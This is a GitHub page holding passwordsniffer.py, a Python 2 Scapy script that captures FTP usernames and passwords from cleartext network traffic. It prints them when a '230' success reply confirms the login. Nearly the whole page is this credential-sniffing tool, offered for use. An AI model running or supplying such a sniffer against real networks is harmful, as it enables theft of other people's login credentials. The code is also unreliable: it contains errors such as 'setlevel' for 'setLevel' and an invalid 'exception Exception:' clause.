-
Notifications
You must be signed in to change notification settings - Fork 11
/
passwordsniffer.py
53 lines (49 loc) · 1.55 KB
/
passwordsniffer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import sys
from logging import exception, getLogger, ERROR
getLogger('scapy.runtime').setlevel(ERROR)
try:
from scapy.all import *
except ImportError:
print'[!] Error: Scapy Installation Not Found'
sys.exit(1)
interface = sys.argv[1]
username = ['Error: Unlucky Timing']
passwords = ['Error: Unlucky Timing']
def check_login(pkt, username, password):
try:
if '230' in pkt[Raw].load:
print'[*] Valid Credentials Found... '
print'\t[*] ' + str(pkt[IP].dst).strip() + ' -> ' + str(pkt[IP].src).strip() + ':'
print '\t [*] Username: ' + username
print '\t [*] Password: ' + password + '\n'
return
else:
return
except Exception:
return
def check_for_ftp(pkt):
if pkt.haslayer(TCP) and pkt.haslayer(Raw):
if pkt[TCP].dport == 21 or pkt[TCP].sport == 21:
return True
else:
return False
def check_pkt(pkt):
if check_for_ftp(pkt):
pass
else:
return
data = pkt[Raw].load
if 'USER' in data:
username.append(data.split('USER')[1].strip())
elif 'PASS' in data:
passwords.append(data.split('PASS')[1].strip())
else:
check_login(pkt, username[-1], passwords[-1])
return
print '[*] Sniffing Started on %s ... \n' % interface
try:
sniff(iface=interface, prn=check_pkt, store=0)
exception Exception:
print '[!] Error: Failed to Initialize Sniffing'
sys.exit(1)
print '\n[*] Sniffing Stopped'